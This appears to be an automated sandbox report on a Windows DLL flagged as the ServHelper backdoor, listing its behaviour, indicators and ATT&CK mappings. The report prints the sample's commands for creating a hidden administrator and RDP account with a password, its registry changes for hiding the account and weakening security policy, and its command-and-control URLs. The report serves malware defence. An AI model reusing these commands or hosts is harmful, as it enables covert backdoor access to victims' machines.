Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: gdi32full.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: user32.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: wmiutils.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: gdi32.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: webio.pdbc source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdbKE source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: fastprox.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: win32u.pdb8 source: WerFault.exe, 00000023.00000003.721192200.000001E8D6C79000.00000004.00000040.sdmp
Source:	Binary string: wbemsvc.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: ncryptsslp.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: wbemcomn.pdbf source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: user32.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbQE source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: loaddll64.pdb source: WerFault.exe, 00000023.00000003.721077963.000001E8D6C72000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: netapi32.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdbNE source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000023.00000003.721241994.000001E8D6C70000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb3 source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: ntdll.pdb source: WerFault.exe, 00000023.00000003.715383654.000001E8D618C000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: netutils.pdbRE source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: wbemprox.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior:

Adds a new user with administrator rights

Show sources

Source: unknown	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD

Source: C:\Windows\system32\drivers\tsusbhub.sys

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides user accounts

Show sources

Source: C:\Windows\System32\loaddll64.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList WgaUtilAcc

Jump to behavior

Source: C:\Windows\System32\WerFault.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{67082621-8D18-4333-9C64-10DE93676363} DeviceTicket

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\loaddll64.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\loaddll64.exe TID: 7112

Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\WerFault.exe

File opened: PhysicalDrive0

Source: loaddll64.exe, 00000000.00000002.785118327.0000025BFF450000.00000002.00000001.sdmp, rundll32.exe, 00000001.00000002.686980246.00000205FCA20000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.709285585.000001A381A30000.00000002.00000001.sdmp, rundll32.exe, 00000012.00000002.695931184.000001BFCF3B0000.00000002.00000001.sdmp, rundll32.exe, 0000001A.00000002.703464710.00000160A8D60000.00000002.00000001.sdmp, rundll32.exe, 0000001E.00000002.718112963.0000024ABF320000.00000002.00000001.sdmp, rundll32.exe, 0000001F.00000002.724411852.00000203C0CF0000.00000002.00000001.sdmp, WerFault.exe, 00000023.00000002.781628259.000001E8D6D90000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 00000023.00000002.781062362.000001E8D63FF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWVE
Source: WerFault.exe, 00000023.00000003.724837730.000001E8D6403000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWVE%SystemRoot%\system32\mswsock.dllSystem32NUMBER_OF_PROCESSORS=2OneDrive=C:\Users\
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp, WerFault.exe, 00000023.00000002.781049286.000001E8D62C4000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000023.00000002.781049286.000001E8D62C4000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWK
Source: loaddll64.exe, 00000000.00000002.785118327.0000025BFF450000.00000002.00000001.sdmp, rundll32.exe, 00000001.00000002.686980246.00000205FCA20000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.709285585.000001A381A30000.00000002.00000001.sdmp, rundll32.exe, 00000012.00000002.695931184.000001BFCF3B0000.00000002.00000001.sdmp, rundll32.exe, 0000001A.00000002.703464710.00000160A8D60000.00000002.00000001.sdmp, rundll32.exe, 0000001E.00000002.718112963.0000024ABF320000.00000002.00000001.sdmp, rundll32.exe, 0000001F.00000002.724411852.00000203C0CF0000.00000002.00000001.sdmp, WerFault.exe, 00000023.00000002.781628259.000001E8D6D90000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: loaddll64.exe, 00000000.00000002.785118327.0000025BFF450000.00000002.00000001.sdmp, rundll32.exe, 00000001.00000002.686980246.00000205FCA20000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.709285585.000001A381A30000.00000002.00000001.sdmp, rundll32.exe, 00000012.00000002.695931184.000001BFCF3B0000.00000002.00000001.sdmp, rundll32.exe, 0000001A.00000002.703464710.00000160A8D60000.00000002.00000001.sdmp, rundll32.exe, 0000001E.00000002.718112963.0000024ABF320000.00000002.00000001.sdmp, rundll32.exe, 0000001F.00000002.724411852.00000203C0CF0000.00000002.00000001.sdmp, WerFault.exe, 00000023.00000002.781628259.000001E8D6D90000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: loaddll64.exe, 00000000.00000003.664636749.0000025BFD9B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC
Source: loaddll64.exe, 00000000.00000003.664404380.0000025BFD9B9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllVV
Source: loaddll64.exe, 00000000.00000002.785118327.0000025BFF450000.00000002.00000001.sdmp, rundll32.exe, 00000001.00000002.686980246.00000205FCA20000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.709285585.000001A381A30000.00000002.00000001.sdmp, rundll32.exe, 00000012.00000002.695931184.000001BFCF3B0000.00000002.00000001.sdmp, rundll32.exe, 0000001A.00000002.703464710.00000160A8D60000.00000002.00000001.sdmp, rundll32.exe, 0000001E.00000002.718112963.0000024ABF320000.00000002.00000001.sdmp, rundll32.exe, 0000001F.00000002.724411852.00000203C0CF0000.00000002.00000001.sdmp, WerFault.exe, 00000023.00000002.781628259.000001E8D6D90000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\system32\drivers\tsusbhub.sys

System information queried: ModuleInformation

Source: C:\Windows\System32\WerFault.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\WerFault.exe

Process token adjusted: Debug

Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc ph9ZVf2Q /add
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc ph9ZVf2Q
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc ph9ZVf2Q /add
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q /add
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' user /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc ph9ZVf2Q
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Lowering of HIPS / PFW / Operating System Security Settings:

Modifies security policies related information

Show sources

Source: C:\Windows\System32\loaddll64.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa LimitBlankPasswordUse

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Create Account1	Windows Service1	Disable or Modify Tools1	OS Credential Dumping	System Time Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Windows Service1	Process Injection11	Modify Registry1	LSASS Memory	Security Software Discovery11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	LSASS Driver1	LSASS Driver1	Virtualization/Sandbox Evasion2	Security Account Manager	Virtualization/Sandbox Evasion2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	DLL Side-Loading1	DLL Side-Loading1	Process Injection11	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Users1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	System Information Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing11	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	DLL Side-Loading1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mediasvc copy.dll	61%	Virustotal		Browse
mediasvc copy.dll	32%	Metadefender		Browse
mediasvc copy.dll	46%	ReversingLabs	Win64.Backdoor.ServHelper
mediasvc copy.dll	100%	Avira	HEUR/AGEN.1112831

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
hitnaiguat.xyz	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://hitnaiguat.xyzdfdlhldfh03	0%	Avira URL Cloud	safe
https://watnaiguat.xyz/	0%	Avira URL Cloud	safe
http://crl.micro	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://ocsp.int-x3.letsencrypt.org0/	0%	URL Reputation	safe
http://ocsp.int-x3.letsencrypt.org0/	0%	URL Reputation	safe
http://ocsp.int-x3.letsencrypt.org0/	0%	URL Reputation	safe
http://ocsp.int-x3.letsencrypt.org0/	0%	URL Reputation	safe
https://hitnaiguat.xyz/ctp/b.phpt	0%	Avira URL Cloud	safe
https://hitnaiguat.xyz/	0%	Avira URL Cloud	safe
https://hitnaiguat.xyz/ctp/b.php03	0%	Avira URL Cloud	safe
http://bromide.xyz/ssh.zip	0%	Avira URL Cloud	safe
https://hitnaiguat.xyz/ctp/b.php	0%	Avira URL Cloud	safe
http://isrg.trustid.ocsp.identru	0%	Avira URL Cloud	safe
http://sdsddgu.xyz/khkhkt	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hitnaiguat.xyz	5.181.156.4	true	false	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://hitnaiguat.xyzdfdlhldfh03	loaddll64.exe, 00000000.00000003.708751537.0000025BFDC63000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://watnaiguat.xyz/	loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	WerFault.exe, 00000023.00000002.780388618.000001E8D444E000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.letsencrypt.org0	loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.int-x3.letsencrypt.org0/	loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://hitnaiguat.xyz/ctp/b.phpt	loaddll64.exe, 00000000.00000002.784344742.0000025BFD982000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://cert.int-x3.letsencrypt.org/0-	loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	false		high
https://hitnaiguat.xyz/	loaddll64.exe, 00000000.00000002.784706857.0000025BFD9E3000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://hitnaiguat.xyz/ctp/b.php03	loaddll64.exe, 00000000.00000003.708751537.0000025BFDC63000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://bromide.xyz/ssh.zip	loaddll64.exe, 00000000.00000003.708761089.0000025BFDC6A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://hitnaiguat.xyz/ctp/b.php	loaddll64.exe, 00000000.00000002.784344742.0000025BFD982000.00000004.00000020.sdmp, loaddll64.exe, 00000000.00000002.784753875.0000025BFD9FC000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://isrg.trustid.ocsp.identru	WerFault.exe, 00000023.00000003.724805687.000001E8D4487000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://sdsddgu.xyz/khkhkt	loaddll64.exe, 00000000.00000003.708761089.0000025BFDC6A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.root-x1.letsencrypt.org0	loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.181.156.4	unknown	Moldova Republic of		39798	MIVOCLOUDMD	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	326485
Start date:	03.12.2020
Start time:	15:51:30
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 18s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	mediasvc copy.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.evad.winDLL@50/5@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): WerFault.exe, backgroundTaskHost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 13.88.21.125, 104.42.151.234, 168.61.161.212, 51.104.144.132, 2.20.142.210, 2.20.142.209, 52.155.217.156, 20.54.26.129, 92.122.213.247, 92.122.213.194 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, arc.msn.com.nsatc.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcolcus15.cloudapp.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net Execution Graph export aborted for target loaddll64.exe, PID 7108 because there are no executed function Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:52:46	API Interceptor	1x Sleep call for process: loaddll64.exe modified
15:53:19	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MIVOCLOUDMD	https://papyrefb2tdk6czd.onion.ly/	Get hash	malicious	Browse	185.225.19.195
	kvdYhqN3Nh.exe	Get hash	malicious	Browse	185.163.45.187
	sGgozFWk4P.doc	Get hash	malicious	Browse	185.163.47.157
	137390617_accse.doc	Get hash	malicious	Browse	185.163.47.157
	reit-sap-liona.doc	Get hash	malicious	Browse	185.163.47.157
	NEW ORDER.HTML	Get hash	malicious	Browse	5.181.156.72
	cry1.exe	Get hash	malicious	Browse	94.158.245.3
	prot 64192.xlsm	Get hash	malicious	Browse	94.158.245.3
	prot 64192.xlsm	Get hash	malicious	Browse	94.158.245.3
	cry1.exe	Get hash	malicious	Browse	94.158.245.3
	PO_4000_from_HandyEq.exe	Get hash	malicious	Browse	185.225.17.3
	Receipt#790009465.exe	Get hash	malicious	Browse	185.225.17.3
	isb777amx.exe	Get hash	malicious	Browse	185.163.45.253
	https://bit.ly/32VsT8i	Get hash	malicious	Browse	94.158.244.208
	34867_DOCESDL.msi	Get hash	malicious	Browse	5.181.156.72
	34867_DOCESDL.msi	Get hash	malicious	Browse	5.181.156.72
	7ec016fc.ps1	Get hash	malicious	Browse	5.181.156.62
	http://notice-suspicious-wellsfargo-activity.ml:82/reg74/index.php?=sfdgsdfx222334xfdg4dsxwww2131qweqqwe	Get hash	malicious	Browse	5.181.156.168
	Shiping_Details.exe	Get hash	malicious	Browse	185.163.45.247
	https://bit.ly/309OMzr	Get hash	malicious	Browse	185.163.47.144

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	usz.exe	Get hash	malicious	Browse	5.181.156.4
	2020-12-03_08-45-45.exe.exe	Get hash	malicious	Browse	5.181.156.4
	20-091232.xlsx	Get hash	malicious	Browse	5.181.156.4
	ipsjz17z.dll	Get hash	malicious	Browse	5.181.156.4
	uzutwotm.exe	Get hash	malicious	Browse	5.181.156.4
	q9y42trS7z.exe	Get hash	malicious	Browse	5.181.156.4
	IaGdBpfkmV.exe	Get hash	malicious	Browse	5.181.156.4
	Vuu0hnOqjF.exe	Get hash	malicious	Browse	5.181.156.4
	Eptinaub3.dll	Get hash	malicious	Browse	5.181.156.4
	otaxujuc64.dll	Get hash	malicious	Browse	5.181.156.4
	Donorcasino.dll	Get hash	malicious	Browse	5.181.156.4
	Visitreflect.dll	Get hash	malicious	Browse	5.181.156.4
	Lijocn.dll	Get hash	malicious	Browse	5.181.156.4
	MT103---USD42,880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	5.181.156.4
